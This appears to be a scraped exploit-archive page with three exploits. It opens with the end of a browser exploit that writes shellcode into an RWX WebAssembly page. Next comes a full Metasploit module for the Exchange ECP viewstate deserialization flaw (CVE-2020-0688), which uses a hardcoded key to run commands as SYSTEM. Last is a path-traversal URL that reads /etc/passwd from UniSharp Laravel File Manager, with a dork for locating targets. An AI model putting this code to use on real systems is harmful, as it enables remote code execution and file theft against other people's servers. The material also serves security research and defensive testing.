var importObject = {
imports: { imported_func: arg => print(arg) }
};
bc = [0x0, 0x61, 0x73, 0x6d, 0x1, 0x0, 0x0, 0x0, 0x1, 0x8, 0x2, 0x60, 0x1, 0x7f, 0x0, 0x60, 0x0, 0x0, 0x2, 0x19, 0x1, 0x7, 0x69, 0x6d, 0x70, 0x6f, 0x72, 0x74, 0x73, 0xd, 0x69, 0x6d, 0x70, 0x6f, 0x72, 0x74, 0x65, 0x64, 0x5f, 0x66, 0x75, 0x6e, 0x63, 0x0, 0x0, 0x3, 0x2, 0x1, 0x1, 0x7, 0x11, 0x1, 0xd, 0x65, 0x78, 0x70, 0x6f, 0x72, 0x74, 0x65, 0x64, 0x5f, 0x66, 0x75, 0x6e, 0x63, 0x0, 0x1, 0xa, 0x8, 0x1, 0x6, 0x0, 0x41, 0x2a, 0x10, 0x0, 0xb];
wasm_code = new Uint8Array(bc);
wasm_mod = new WebAssembly.Instance(new WebAssembly.Module(wasm_code), importObject);
return wasm_mod.exports.exported_func;
}

let wasm_func = get_wasm_func();
// traverse the JSFunction object chain to find the RWX WebAssembly code page
let wasm_func_addr = addrof(wasm_func);
let sfi = cabs_read4(wasm_func_addr + 12n) - 1n;
print('sfi: ' + hex(sfi));
let WasmExportedFunctionData = cabs_read4(sfi + 4n) - 1n;
print('WasmExportedFunctionData: ' + hex(WasmExportedFunctionData));

let instance = cabs_read4(WasmExportedFunctionData + 8n) - 1n;
print('instance: ' + hex(instance));

let wasm_rwx_addr = cabs_read8(instance + 0x68n);
print('wasm_rwx_addr: ' + hex(wasm_rwx_addr));

// write the shellcode to the RWX page
while(shellcode.length % 4 != 0){
shellcode += "u9090";
}

let sc = [];

// convert the shellcode to BigInt
for (let i = 0; i < shellcode.length; i += 4) {
sc.push(BigInt(shellcode.charCodeAt(i)) + BigInt(shellcode.charCodeAt(i + 1) * 0x10000) + BigInt(shellcode.charCodeAt(i + 2) * 0x100000000) + BigInt(shellcode.charCodeAt(i + 3) * 0x1000000000000));
}

writeShellcode(wasm_rwx_addr,sc);

print('success');
wasm_func();
}


function exp() {
get_arw();
rce();
}

exp();
^

if datastore['DEBUG_EXPLOIT']
debugjs = %Q^
print = function(arg) {
var request = new XMLHttpRequest();
request.open("POST", "/print", false);
request.send("" + arg);
};
^
jscript = "#{debugjs}#{jscript}"
else
jscript.gsub!(///.*$/, '') # strip comments
jscript.gsub!(/^s*prints*(.*?);s*$/, '') # strip print(*);
end

html = %Q^



#{jscript}





^
send_response(cli, html, {'Content-Type'=>'text/html', 'Cache-Control' => 'no-cache, no-store, must-revalidate', 'Pragma' => 'no-cache', 'Expires' => '0'})
end

end

Source

This Metasploit module exploits a .NET serialization vulnerability in the Exchange Control Panel (ECP) web page. The vulnerability is due to Microsoft Exchange Server not randomizing the keys on a per-installation basis resulting in them using the same validationKey and decryptionKey values. With knowledge of these, values an attacker can craft a special viewstate to cause an OS command to be executed by NT_AUTHORITYSYSTEM using .NET deserialization.

MD5 | ed889ec6ff5a153c3263e25acbc08820

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'bindata'

class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking

# include Msf::Auxiliary::Report
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::CmdStager

DEFAULT_VIEWSTATE_GENERATOR = 'B97B4E27'
VALIDATION_KEY = "xcbx27x21xabxdaxf8xe9xdcx51x6dx62x1dx8bx8bxf1x3ax2cx9ex86x89xa2x53x03xbf"

def initialize(info = {})
super(update_info(info,
'Name' => 'Exchange Control Panel Viewstate Deserialization',
'Description' => %q{
This module exploits a .NET serialization vulnerability in the
Exchange Control Panel (ECP) web page. The vulnerability is due to
Microsoft Exchange Server not randomizing the keys on a
per-installation basis resulting in them using the same validationKey
and decryptionKey values. With knowledge of these, values an attacker
can craft a special viewstate to cause an OS command to be executed
by NT_AUTHORITYSYSTEM using .NET deserialization.
},
'Author' => 'Spencer McIntyre',
'License' => MSF_LICENSE,
'References' => [
['CVE', '2020-0688'],
['URL', 'https://www.thezdi.com/blog/2020/2/24/cve-2020-0688-remote-code-execution-on-microsoft-exchange-server-through-fixed-cryptographic-keys'],
],
'Platform' => 'win',
'Targets' =>
[
[ 'Windows (x86)', { 'Arch' => ARCH_X86 } ],
[ 'Windows (x64)', { 'Arch' => ARCH_X64 } ],
[ 'Windows (cmd)', { 'Arch' => ARCH_CMD, 'Space' => 450 } ]
],
'DefaultOptions' =>
{
'SSL' => true
},
'DefaultTarget' => 1,
'DisclosureDate' => '2020-02-11',
'Notes' =>
{
'Stability' => [ CRASH_SAFE, ],
'SideEffects' => [ ARTIFACTS_ON_DISK, IOC_IN_LOGS, ],
'Reliability' => [ REPEATABLE_SESSION, ],
}
))

register_options([
Opt::RPORT(443),
OptString.new('TARGETURI', [ true, 'The base path to the web application', '/' ]),
OptString.new('USERNAME', [ true, 'Username to authenticate as', '' ]),
OptString.new('PASSWORD', [ true, 'The password to authenticate with' ])
])

register_advanced_options([
OptFloat.new('CMDSTAGER::DELAY', [ true, 'Delay between command executions', 0.5 ]),
])
end

def check
state = get_request_setup
viewstate = state[:viewstate]
return CheckCode::Unknown if viewstate.nil?

viewstate = Rex::Text.decode_base64(viewstate)
body = viewstate[0...-20]
signature = viewstate[-20..-1]

unless generate_viewstate_signature(state[:viewstate_generator], state[:session_id], body) == signature
return CheckCode::Safe
end

# we've validated the signature matches based on the data we have and thus
# proven that we are capable of signing a viewstate ourselves
CheckCode::Vulnerable
end

def generate_viewstate(generator, session_id, cmd)
viewstate = ::Msf::Util::DotNetDeserialization.generate(cmd)
signature = generate_viewstate_signature(generator, session_id, viewstate)
Rex::Text.encode_base64(viewstate + signature)
end

def generate_viewstate_signature(generator, session_id, viewstate)
mac_key_bytes = Rex::Text.hex_to_raw(generator).unpack('I')
mac_key_bytes << Rex::Text.to_unicode(session_id)
OpenSSL::HMAC.digest(OpenSSL::Digest.new('sha1'), VALIDATION_KEY, viewstate + mac_key_bytes)
end

def exploit
state = get_request_setup

# the major limit is the max length of a GET request, the command will be
# XML escaped and then base64 encoded which both increase the size
if target.arch.first == ARCH_CMD
execute_command(payload.encoded, opts={state: state})
else
cmd_target = targets.select { |target| target.arch.include? ARCH_CMD }.first
execute_cmdstager({linemax: cmd_target.opts['Space'], delay: datastore['CMDSTAGER::DELAY'], state: state})
end
end

def execute_command(cmd, opts)
state = opts[:state]
viewstate = generate_viewstate(state[:viewstate_generator], state[:session_id], cmd)
5.times do |iteration|
# this request *must* be a GET request, can't use POST to use a larger viewstate
send_request_cgi({
'uri' => normalize_uri(target_uri.path, 'ecp', 'default.aspx'),
'cookie' => state[:cookies].join(''),
'agent' => state[:user_agent],
'vars_get' => {
'__VIEWSTATE' => viewstate,
'__VIEWSTATEGENERATOR' => state[:viewstate_generator]
}
})
break
rescue Rex::ConnectionError, Errno::ECONNRESET => e
vprint_warning('Encountered a connection error while sending the command, sleeping before retrying')
sleep iteration
end
end

def get_request_setup
# need to use a newer default user-agent than what Metasploit currently provides
# see: https://docs.microsoft.com/en-us/microsoft-edge/web-platform/user-agent-string
user_agent = 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.74 Safari/537.36 Edg/79.0.309.43'
res = send_request_cgi({
'uri' => normalize_uri(target_uri.path, 'owa', 'auth.owa'),
'method' => 'POST',
'agent' => user_agent,
'vars_post' => {
'password' => datastore['PASSWORD'],
'flags' => '4',
'destination' => full_uri(normalize_uri(target_uri.path, 'owa')),
'username' => datastore['USERNAME']
}
})
fail_with(Failure::Unreachable, 'The initial HTTP request to the server failed') if res.nil?
cookies = [res.get_cookies]

res = send_request_cgi({
'uri' => normalize_uri(target_uri.path, 'ecp', 'default.aspx'),
'cookie' => res.get_cookies,
'agent' => user_agent
})
fail_with(Failure::UnexpectedReply, 'Failed to get the __VIEWSTATEGENERATOR page') unless res && res.code == 200
cookies << res.get_cookies

viewstate_generator = res.body.scan(/id="__VIEWSTATEGENERATOR"s+value="([a-fA-F0-9]{8})"/).flatten[0]
if viewstate_generator.nil?
print_warning("Failed to find the __VIEWSTATEGENERATOR, using the default value: #{DEFAULT_VIEWSTATE_GENERATOR}")
viewstate_generator = DEFAULT_VIEWSTATE_GENERATOR
else
vprint_status("Recovered the __VIEWSTATEGENERATOR: #{viewstate_generator}")
end

viewstate = res.body.scan(/id="__VIEWSTATE"s+value="([a-zA-Z0-9+/]+={0,2})"/).flatten[0]
if viewstate.nil?
vprint_warning('Failed to find the __VIEWSTATE value')
end

session_id = res.get_cookies.scan(/ASP.NET_SessionId=([w-]+);/).flatten[0]
if session_id.nil?
fail_with(Failure::UnexpectedReply, 'Failed to get the ASP.NET_SessionId from the response cookies')
end
vprint_status("Recovered the ASP.NET_SessionID: #{session_id}")

{user_agent: user_agent, cookies: cookies, viewstate: viewstate, viewstate_generator: viewstate_generator, session_id: session_id}
end
end

Source

UniSharp Laravel File Manager version 2.0.0 suffers from an arbitrary file read vulnerability.

MD5 | 36c28a5443f575569570688658545271

# Exploit Title: UniSharp Laravel File Manager 2.0.0 - Arbitrary File Read
# Google Dork: inurl:"laravel-filemanager?type=Files" -site:github.com -site:github.io
# Date: 2020-02-04
# Exploit Author: NgoAnhDuc
# Vendor Homepage: https://github.com/UniSharp/laravel-filemanager
# Software Link: https://github.com/UniSharp/laravel-filemanager
# Version: v2.0.0-alpha8 & v2.0.0
# Tested on: v2.0.0-alpha8 & v2.0.0
# CVE : N/A

PoC:

http://localhost/laravel-filemanager/download?working_dir=%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2F&type=&file=passwd

Source